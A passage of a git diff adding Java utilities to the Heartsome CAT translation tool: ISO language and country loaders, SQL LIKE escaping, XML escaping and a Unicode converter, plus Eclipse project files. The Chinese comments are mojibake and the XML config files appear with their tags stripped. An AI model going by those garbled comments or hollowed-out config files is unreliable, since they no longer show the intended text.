+ ISOLang.put(code, langName); + } + } + ap.resetXPath(); + } catch (NavException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathEvalException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EncodingException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EOFException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EntityException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (ParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strLangFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } finally { + vg.clear(); + } + } + + public static String getCountryName(String country) { + if (country.equals("")) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + try { + loadCountries(); + } catch (Exception e) { + e.printStackTrace(); + return ""; //$NON-NLS-1$ + } + + if (countries.containsKey(country.toUpperCase())) { + return countries.get(country.toUpperCase()); + } + + return ""; //$NON-NLS-1$ + } + + private static void loadCountries() { + String strFile = CoreActivator.ISO3166_1_PAHT; + countries = new Hashtable(); + VTDGen vg = new VTDGen(); + + try { + vg.setDoc(readBytesFromIS(CoreActivator.getConfigurationFileInputStream(strFile))); + vg.parse(true); + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/ISO_3166-1_List_en/ISO_3166-1_Entry"); + while ((ap.evalXPath()) != -1) { + countries.put(vu.getChildContent("ISO_3166-1_Alpha-2_Code_element"), + vu.getChildContent("ISO_3166-1_Country_name")); + } + ap.resetXPath(); + } catch (NavException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathEvalException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EncodingException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EOFException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EntityException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (ParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } finally { + vg.clear(); + } + } + + public static byte[] readBytesFromIS(InputStream is) throws IOException { + int total = is.available(); + byte[] bs = new byte[total]; + is.read(bs); + return bs; + } + + public static String getLanguageCode(String language) { + + if (language.equals("")) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + + try { + loadLanguages(); + } catch (Exception e) { + e.printStackTrace(); + return ""; //$NON-NLS-1$ + } + Enumeration keys = descriptions.keys(); + while (keys.hasMoreElements()) { + String key = keys.nextElement(); + if (language.equals(descriptions.get(key) + _SPACE + key)) { //$NON-NLS-1$ + return key; + } + } + return language; + } + + private static void loadLanguages() { + descriptions = null; + isBidi = null; + descriptions = new Hashtable(); + isBidi = new Hashtable(); + String strFile = CoreActivator.LANGUAGE_CODE_PATH; + VTDGen vg = new VTDGen(); + + try { + vg.setDoc(readBytesFromIS(CoreActivator.getConfigurationFileInputStream(strFile))); + vg.parse(true); + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/languages/lang"); + int codeIndex; + String code = null; + int bidiIndex; + String bidi = null; + String langName; + while ((ap.evalXPath()) != -1) { + codeIndex = vn.getAttrVal("code"); + if (codeIndex != -1) { + code = vn.toString(codeIndex); + } + bidiIndex = vn.getAttrVal("bidi"); + if (bidiIndex != -1) { + bidi = vn.toString(bidiIndex); + } + langName = vu.getElementPureText(); + if (code != null && langName != null) { + descriptions.put(code, langName); + } + if (code != null && bidi != null) { + isBidi.put(code, bidi); + } + } + ap.resetXPath(); + } catch (NavException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (XPathEvalException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EncodingException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EOFException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (EntityException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (ParseException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } catch (IOException e) { + if (LOGGER.isErrorEnabled()) { + String msg = Messages.getString("util.TextUtil.logger1"); + Object args[] = { strFile }; + LOGGER.error(new MessageFormat(msg).format(args), e); + } + } finally { + vg.clear(); + } + } + + public static String getLanguageName(String language) { + if (language.equals("")) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + + try { + loadLanguages(); + } catch (Exception e) { + e.printStackTrace(); + return ""; //$NON-NLS-1$ + } + + Enumeration keys = descriptions.keys(); + while (keys.hasMoreElements()) { + String key = keys.nextElement(); + if (key.toLowerCase().equals(language.toLowerCase())) { + return descriptions.get(key) + _SPACE + key; //$NON-NLS-1$ + } + } + // code not found on the list + // check if it is possible to build an ISO name + switch (language.length()) { + case 2: + String iso = getISO639(language, CoreActivator.ISO639_1_PAHT); //$NON-NLS-1$ + if (iso.equals("")) { //$NON-NLS-1$ + return language; + } + return ISOLang.get(language.toLowerCase()) + _SPACE + language; //$NON-NLS-1$ + case 3: + iso = getISO639(language, CoreActivator.ISO639_2_PAHT); //$NON-NLS-1$ + if (iso.equals("")) { //$NON-NLS-1$ + return language; + } + return ISOLang.get(language.toLowerCase()) + _SPACE + language; //$NON-NLS-1$ + case 5: + language.replaceAll("_", "-"); //$NON-NLS-1$ //$NON-NLS-2$ + if (language.charAt(2) != '-') { + return language; + } + String lang = language.substring(0, 2).toLowerCase(); + if (getISO639(lang, CoreActivator.ISO639_1_PAHT).equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return language; + } + String country = language.substring(3).toUpperCase(); + if (getCountryName(country).equals("")) { //$NON-NLS-1$ + return language; + } + return ISOLang.get(lang) + " (" + countries.get(country) + ")" + _SPACE + lang + "-" + country; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + case 6: + language.replaceAll("_", "-"); //$NON-NLS-1$ //$NON-NLS-2$ + if (language.charAt(3) != '-') { + return language; + } + lang = language.substring(0, 3).toLowerCase(); + if (getISO639(lang, CoreActivator.ISO639_2_PAHT).equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return language; + } + country = language.substring(4).toUpperCase(); + if (getCountryName(country).equals("")) { //$NON-NLS-1$ + return language; + } + return ISOLang.get(lang) + " (" + countries.get(country) + ")" + _SPACE + lang + "-" + country; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + default: + return language; + } + } + + /** + * 获å–字符串 str 在字符串 srcStr 中出现第index次的ä½ç½®ï¼Œindex范围ä¸ç¬¦åˆé€»è¾‘返回-1. 如:indexOf("abcabdabe","ab",2)=6 + * @param srcStr + * ä»»æ„字符串 + * @param str + * è¦æœç´¢çš„å­å­—符串 + * @param index + * str 在 srcStr 中出现的次数 + * @param isCaseSensitive + * 是å¦åŒºåˆ†å¤§å°å†™ + * @return int str 在 srcStr 中出现第index次的ä½ç½® + */ + public static int indexOf(String srcStr, String str, int index, boolean isCaseSensitive) { + if (index == 0) { + return -1; + } + if (index == 1) { + if (isCaseSensitive) { + return srcStr.indexOf(str); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase()); + } + } + if (isCaseSensitive) { + return srcStr.indexOf(str, indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase(), + indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } + } + + /** + * 当 Sql 语å¥ä½¿ç”¨ LIKE 字段时,\ 需è¦æ›¿æ¢æˆ4个 \,%,_,? 需è¦æ›¿æ¢æˆ\\%,\\_,\\? + * @param input + * @return ; + */ + public static String cleanStringByLikeWithMysql(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\", "\\\\\\\\\\\\\\\\"); + input = input.replaceAll("'", "\\\\\\\\'"); + input = input.replaceAll("%", "\\\\\\\\%"); + input = input.replaceAll("_", "\\\\\\\\_"); + + return input; + } + + /** + * Oracle æ•°æ®åº“ Sql 中 like 查询æ¡ä»¶è¦æ›¿æ¢çš„特殊字符 + * @param input + * @return ; + */ + public static String cleanStringByLikeWithOracle(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\", "\\\\\\\\"); + input = input.replaceAll("'", "''"); + input = input.replaceAll("%", "\\\\\\\\%"); + input = input.replaceAll("_", "\\\\\\\\_"); + + return input; + } + + /** + * Sql Server æ•°æ®åº“ Sql 中 like 查询æ¡ä»¶è¦æ›¿æ¢çš„特殊字符 + * @param input + * @return ; + */ + public static String cleanStringByLikeWithMsSql(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\", "\\\\\\\\"); + input = input.replaceAll("'", "''"); + input = input.replaceAll("\"", "\"\""); + // input = input.replaceAll("[", "[[]"); + input = input.replaceAll("%", "[%]"); + input = input.replaceAll("_", "[_]"); + // input = input.replaceAll("^", "[^]"); + + return input; + } + + /** + * Postgre Sql æ•°æ®åº“ Sql 中 like 查询æ¡ä»¶è¦æ›¿æ¢çš„特殊字符 + * @param input + * @return ; + */ + public static String cleanStringByLikeWithPostgreSql(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\", "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"); + input = input.replaceAll("'", "''"); + input = input.replaceAll("%", "\\\\\\\\\\\\\\\\%"); + input = input.replaceAll("_", "\\\\\\\\\\\\\\\\_"); + + return input; + } + + /** + * Postgre Sql æ•°æ®åº“ Sql 中 like 查询æ¡ä»¶è¦æ›¿æ¢çš„特殊字符 + * @param input + * @return ; + */ + public static String cleanStringByLikeWithHSQL(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\", "\\\\\\\\\\\\\\\\"); + input = input.replaceAll("'", "''"); + input = input.replaceAll("%", "\\\\\\\\%"); + input = input.replaceAll("_", "\\\\\\\\_"); + + return input; + } + + public static String replaceRegextSql(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\d", "[0-9]"); + input = input.replaceAll("\\\\D", "[^0-9]"); + input = input.replaceAll("\\\\w", "[a-zA-Z0-9_]"); + input = input.replaceAll("\\\\W", "[^a-zA-Z0-9_]"); + input = input.replaceAll("\\\\\\\\.", "."); + input = input.replaceAll("\\\\", "\\\\\\\\\\\\\\\\"); + input = input.replaceAll("'", "''"); + input = input.replaceAll("\\\\\\\\\\\\\\\\s", "[ \\\\f\\\\n\\\\r\\\\t\\\\v]"); + input = input.replaceAll("\\\\\\\\\\\\\\\\S", "[^ \\\\f\\\\n\\\\r\\\\t\\\\v]"); + return input; + } + + public static String replaceRegextSqlWithMOP(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\d", "[0-9]"); + input = input.replaceAll("\\\\D", "[^0-9]"); + input = input.replaceAll("\\\\w", "[a-zA-Z0-9_]"); + input = input.replaceAll("\\\\W", "[^a-zA-Z0-9_]"); + input = input.replaceAll("\\\\s", "[[:space:]]"); + input = input.replaceAll("\\\\S", "[^[:space:]]"); + input = input.replaceAll("\\\\\\\\.", "."); + input = input.replaceAll("\\\\", "\\\\\\\\\\\\\\\\"); + input = input.replaceAll("'", "''"); + return input; + } + + /** + * HSQL 使用正则表达å¼æ—¶è¦æ›¿æ¢çš„字符 + * @param input + * @return ; + */ + public static String replaceRegextSqlWithHSQL(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("\\\\d", "[0-9]"); + input = input.replaceAll("\\\\D", "[^0-9]"); + input = input.replaceAll("\\\\w", "[a-zA-Z0-9_]"); + input = input.replaceAll("\\\\W", "[^a-zA-Z0-9_]"); + input = input.replaceAll("\\\\\\\\.", "."); + input = input.replaceAll("'", "''"); + input = input.replaceAll("\\\\", "\\\\\\\\"); + input = input.replaceAll("\\\\\\\\s", "[\\\\f\\\\n\\\\r\\\\t\\\\v]"); + input = input.replaceAll("\\\\\\\\S", "[^ \\\\f\\\\n\\\\r\\\\t\\\\v]"); + return input; + } + + /** + * 将语言进行常æ€åŒ– robert 2012-02-03 + * @param language + * @return ; + */ + public static String normLanguage(String language) { + if ("".equals(language) || language == null) { //$NON-NLS-1$ + return ""; //$NON-NLS-1$ + } + if (language.length() < 2) { + return language.toLowerCase(); + } else { + return language.substring(0, 2).toLowerCase() + language.substring(2, language.length()); + } + } + + /** + * å°† xml 中的转义字符还原 + * @param input + * @return ; + */ + public static String xmlToString(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + input = input.replaceAll("'", "'"); + input = input.replaceAll(""", "\""); + input = input.replaceAll("&", "&"); + return input; + + } + + /** + * å°† input 中的字符串转义 + * @param input + * @return ; + */ + public static String stringToXML(String input) { + if (input == null) { + return ""; + } + input = input.replaceAll("&", "&"); + input = input.replaceAll("<", "<"); + input = input.replaceAll(">", ">"); + input = input.replaceAll("'", "'"); + input = input.replaceAll("\"", """); + return input; + + } + + /** + * 加载语言,针对æ’件开å‘æ¨¡å— robert 2012-03-15 + * @throws Exception + */ + public static Hashtable plugin_loadLanguages() throws Exception { + // 语言文件ä½ç½® + String languageXmlLC_1 = CoreActivator.ISO639_1_PAHT; + String languageXmlLC_2 = CoreActivator.ISO639_2_PAHT; + + Hashtable _languages = new Hashtable(); + + getLanguages(languageXmlLC_1, _languages); + getLanguages(languageXmlLC_2, _languages); + + return _languages; + } + + /** + * 加载国家å称,针对æ’件开å‘æ¨¡å— robert 2012-03-15 + * @param langXMlLC + * @param _languages + * @throws Exception + */ + public static Hashtable plugin_loadCoutries() throws Exception { + // 国家文件ä½ç½® + String countryXmlLC = CoreActivator.ISO3166_1_PAHT; + Hashtable _countries = new Hashtable(); + + VTDGen vg = new VTDGen(); + vg.setDoc(readBytesFromIS(CoreActivator.getConfigurationFileInputStream(countryXmlLC))); + vg.parse(true); + + VTDNav vn = vg.getNav(); + + AutoPilot ap = new AutoPilot(vn); + AutoPilot childAP = new AutoPilot(vn); + ap.selectXPath("/ISO_3166-1_List_en/ISO_3166-1_Entry"); + while (ap.evalXPath() != -1) { + String code = ""; + String name = ""; + + int index; + vn.push(); + childAP.selectXPath("./ISO_3166-1_Alpha-2_Code_element"); + if (childAP.evalXPath() != -1) { + if ((index = vn.getText()) != -1) { + code = vn.toString(index).trim().toUpperCase(); + } + } + vn.pop(); + + vn.push(); + childAP.selectXPath("./ISO_3166-1_Country_name"); + if (childAP.evalXPath() != -1) { + if ((index = vn.getText()) != -1) { + name = vn.toString(index).trim(); + } + } + vn.pop(); + + if (!"".equals(code) && !"".equals(name)) { + _countries.put(code, name); + } + } + return _countries; + } + + /** + * ,针对æ’件开å‘æ¨¡å— robert 2012-03-15 + * @param langXMlLC + * @param _languages + * @throws Exception + */ + private static void getLanguages(String langXMlLC, Hashtable _languages) throws Exception { + VTDGen vg = new VTDGen(); + vg.setDoc(readBytesFromIS(CoreActivator.getConfigurationFileInputStream(langXMlLC))); + vg.parse(true); + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/languages/lang"); + while (ap.evalXPath() != -1) { + if (vn.getAttrVal("code") != -1 && vn.getText() != -1) { + _languages.put(vn.toString(vn.getAttrVal("code")).toLowerCase(), vn.toString(vn.getText()).trim()); + } + } + } + + /** + * åŠè§’转全角的函数(SBC case) ä»»æ„字符串 全角字符串 全角空格为12288,åŠè§’空格为32 其他字符åŠè§’(33-126)与全角(65281-65374)的对应关系是:å‡ç›¸å·®65248 + * @param input + * @return ; + */ + public static String toSBC(String input) { + // åŠè§’转全角: + char c[] = input.toCharArray(); + for (int i = 0; i < c.length; i++) { + if (c[i] == ' ') { + c[i] = '\u3000'; + } else if (c[i] < '\177') { + c[i] = (char) (c[i] + 65248); + + } + } + return new String(c); + } + + /** + * 全角转åŠè§’的函数(DBC case) ä»»æ„字符串 åŠè§’字符串 全角空格为12288,åŠè§’空格为32 其他字符åŠè§’(33-126)与全角(65281-65374)的对应关系是:å‡ç›¸å·®65248 + * @param input + * @return ; + */ + public static String toDBC(String input) { + char c[] = input.toCharArray(); + for (int i = 0; i < c.length; i++) { + if (c[i] == '\u3000') { + c[i] = ' '; + } else if (c[i] > '\uFF00' && c[i] < '\uFF5F') { + c[i] = (char) (c[i] - 65248); + } + } + return new String(c); + } + + /** + * 16进制数字字符集 + */ + private static String hexString = "0123456789ABCDEF"; + + /** + * 将字符串编ç æˆ16进制数字,适用于所有字符(包括中文) + */ + public static String encodeHexString(String str) { + // æ ¹æ®é»˜è®¤ç¼–ç èŽ·å–字节数组 + byte[] bytes = str.getBytes(); + StringBuilder sb = new StringBuilder(bytes.length * 2); + // 将字节数组中æ¯ä¸ªå­—节拆解æˆ2ä½16进制整数 + for (int i = 0; i < bytes.length; i++) { + // int d = (bytes[i] & 0x0f) >> 0; + // /System.out.println("bytes["+i+"]:"+bytes[i]+"_"+d);//bytes[i]得到的是对应的字符ASCII值 + sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));// 1-4 + sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));// 1-2 + + } + return sb.toString(); + } + + /** + * å°†16进制数字解ç æˆå­—符串,适用于所有字符(包括中文) decode(String bytes)方法里é¢çš„bytes字符串必须大写,å³toUpperCase() + */ + public static String decodeHexString(String bytes) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(bytes.length() / 2); + // å°†æ¯2ä½16进制整数组装æˆä¸€ä¸ªå­—节 + for (int i = 0; i < bytes.length(); i += 2) { + baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString.indexOf(bytes.charAt(i + 1)))); + } + return new String(baos.toByteArray()); + } + + + /** + * 获å– UUID ,唯一字符串。å¯ç”¨äºŽä¸»é”®æˆ–者 xml 文件的 id. robert 2013-06-19 + * @return + */ + public static String createUUID(){ + UUID uuId = UUID.randomUUID(); + return uuId.toString(); + } + + + /** + * 清除所有空格,包括中文的,还有英文的ã€è¿˜æœ‰åˆ¶è¡¨ç¬¦ --robert 2013-12-10 + */ + public static String trimSpace(String text){ + if (text == null) { + return null; + } + int len = text.length(); + int st = 0; + int off = 0; + char[] val = text.toCharArray(); + while ((st < len) && (val[off + st] == ' ' || val[off + st] == ' ' || val[off + st] == '\t')) { + st++; + } + while ((st < len) && (val[off + len - 1] == ' ' || val[off + len - 1] == ' ' || val[off + len - 1] == '\t')) { + len--; + } + return ((st > 0) || (len < text.length())) ? text.substring(st, len) : text; + } + + /** + * 判断指定字符串是å¦ä¸ºç©º --robert 2013-12-10 + * @param text + * @return ; + */ + public static boolean checkStringEmpty(String text){ + return text == null || TextUtil.trimString(text).isEmpty(); + } + + /** + * 清除文本段中的æ¢è¡Œç¬¦ --robert 2013-12-11 + * @param text + * @return ; + */ + public static String trimEnter(String text){ + if (text == null) { + return null; + } + int len = text.length(); + int st = 0; + int off = 0; + char[] val = text.toCharArray(); + // è¦æ¸…除的 + while ((st < len) && (val[off + st] == ' ' || val[off + st] == ' ' || val[off + st] == '\t')) { + st++; + } + StringBuffer sb = new StringBuffer(); + while(st < len){ + if (val[off + st] != '\n') { + sb.append(val[off + st]); + } + st ++; + } + return sb.toString(); + } + + /** + * 清ç†å­—符串,包括清除段首段末的空白字符,以åŠæ®µä¸­çš„æ¢è¡Œç¬¦ --robert 2013-12-11 + * @param text + * @return ; + */ + public static String trimString(String text){ + text = trimEnter(text); + return trimSpace(text); + } + + /** + * @param value + * @return ; + */ + public static String attributeValue(String value) { + if (value == null) { + return value; + } + int quot = value.indexOf("\""); + int apos = value.indexOf("'"); + + if (quot == -1 && apos == -1) { + return new StringBuilder().append("'").append(value).append("'").toString(); + } + + if (quot == -1) { + return new StringBuilder().append("\"").append(value).append("\"").toString(); + } + + if (apos == -1) { + return new StringBuilder().append("'").append(value).append("'").toString(); + } + + List list = new LinkedList(); + long l = groupString(value, 0); + int offset = 0; + int len = 0; + do { + offset = (int)l; + len = (int) (l>> 32); + if (value.charAt(offset) == '"') { + list.add(new StringBuilder().append("'").append(value.substring(offset, offset + len)).append("'").toString()); + } else { + list.add(new StringBuilder().append('"').append(value.substring(offset, offset + len)).append('"').toString()); + } + + } while ((l = groupString(value, (int) l + (int) (l >> 32))) != -1); + + StringBuilder builder = new StringBuilder("concat("); + for (int i = 0; i < list.size() - 1; i++) { + builder.append(list.get(i)).append(", "); + } + builder.append(list.get(list.size() - 1)); + builder.append(")"); + return builder.toString(); + } + + // length, offset + private static long groupString(String str, int index) { + if (index >= str.length()) { + return -1; + } + + int length = 1; + int offset = index; + + boolean b = str.charAt(index) == '"'; + + for (int i = index + 1;; i++) { + length = i - offset; + if (i == str.length()) { + break; + } + if (b) { + if (str.charAt(i) == '"') { + continue; + } else { + break; + } + } else { // ä¸æ˜¯ " + if (str.charAt(i) == '"') { + break; + } + } + } + + long l = length; + l = l << 32; + l += offset; + return l; + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/UnicodeConverter.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/UnicodeConverter.java new file mode 100644 index 0000000..3af619a --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/UnicodeConverter.java @@ -0,0 +1,103 @@ +package net.heartsome.cat.common.util; + +public class UnicodeConverter { + + /** + * å°†å­—ç¬¦ä¸²è½¬æˆ Unicode ç  + * @param str + * 待转字符串 + * @return Unicode ç  + */ + public static String convert(String str) { + str = (str == null ? "" : str); + String tmp; + StringBuffer sb = new StringBuffer(1000); + char c; + int i, j; + sb.setLength(0); + for (i = 0; i < str.length(); i++) { + c = str.charAt(i); + sb.append("\\u"); + j = (c >>> 8); // å–出高8ä½ + tmp = Integer.toHexString(j); + if (tmp.length() == 1) + sb.append("0"); + sb.append(tmp); + j = (c & 0xFF); // å–出低8ä½ + tmp = Integer.toHexString(j); + if (tmp.length() == 1) + sb.append("0"); + sb.append(tmp); + + } + return (new String(sb)); + } + + /** + * å°† Unicode ç è½¬æˆå­—符串 + * @param unicode + * unicode ç  + * @return 字符串 + */ + public static String revert(String unicode) { + unicode = (unicode == null ? "" : unicode); + if (unicode.indexOf("\\u") == -1)// 如果ä¸æ˜¯unicodeç åˆ™åŽŸæ ·è¿”回 + return unicode; + + StringBuffer sb = new StringBuffer(1000); + int start = unicode.indexOf("\\u"); + int end = -1; + while(start != -1 && start < unicode.length()){ + end = unicode.indexOf("\\u", start + 2); + end = end == -1 ? unicode.length() : end; + String strTemp = unicode.substring(start, end); + String value = strTemp.substring(2); + int c = 0; + for (int j = 0; j < value.length(); j++) { + char tempChar = value.charAt(j); + int t = 0; + switch (tempChar) { + case 'a': + t = 10; + break; + case 'b': + t = 11; + break; + case 'c': + t = 12; + break; + case 'd': + t = 13; + break; + case 'e': + t = 14; + break; + case 'f': + t = 15; + break; + default: + t = tempChar - 48; + break; + } + + c += t * ((int) Math.pow(16, (value.length() - j - 1))); + } + sb.append((char) c); + start = end; + } + return sb.toString(); + } + + public static void main(String[] args) { + // int c = 0; + // for (char i = '\uA000'; i <= '\uA099'; i++) { + // c++; + // System.out.println(i); + // } + // System.out.println(c); + + System.out.println(revert("\\ua001")); + + System.out.println(convert("ꀀ")); + } +} diff --git a/base_commons/net.heartsome.cat.common.feature/.project b/base_commons/net.heartsome.cat.common.feature/.project new file mode 100644 index 0000000..75d28cf --- /dev/null +++ b/base_commons/net.heartsome.cat.common.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.common.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/base_commons/net.heartsome.cat.common.feature/build.properties b/base_commons/net.heartsome.cat.common.feature/build.properties new file mode 100644 index 0000000..3b8a221 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.feature/build.properties @@ -0,0 +1,2 @@ +javacDefaultEncoding.. = UTF-8 +bin.includes = feature.xml diff --git a/base_commons/net.heartsome.cat.common.feature/feature.xml b/base_commons/net.heartsome.cat.common.feature/feature.xml new file mode 100644 index 0000000..d778291 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.feature/feature.xml @@ -0,0 +1,127 @@ + + + + + Heartsome CAT Common + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/.api_description b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.api_description new file mode 100644 index 0000000..9736a25 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.api_description @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/.classpath b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/.project b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.project new file mode 100644 index 0000000..911e92b --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.common.ui.navigator.resources + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/.settings/org.eclipse.jdt.core.prefs b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..ed4ebcf --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Sat Dec 03 11:33:12 CST 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/META-INF/MANIFEST.MF 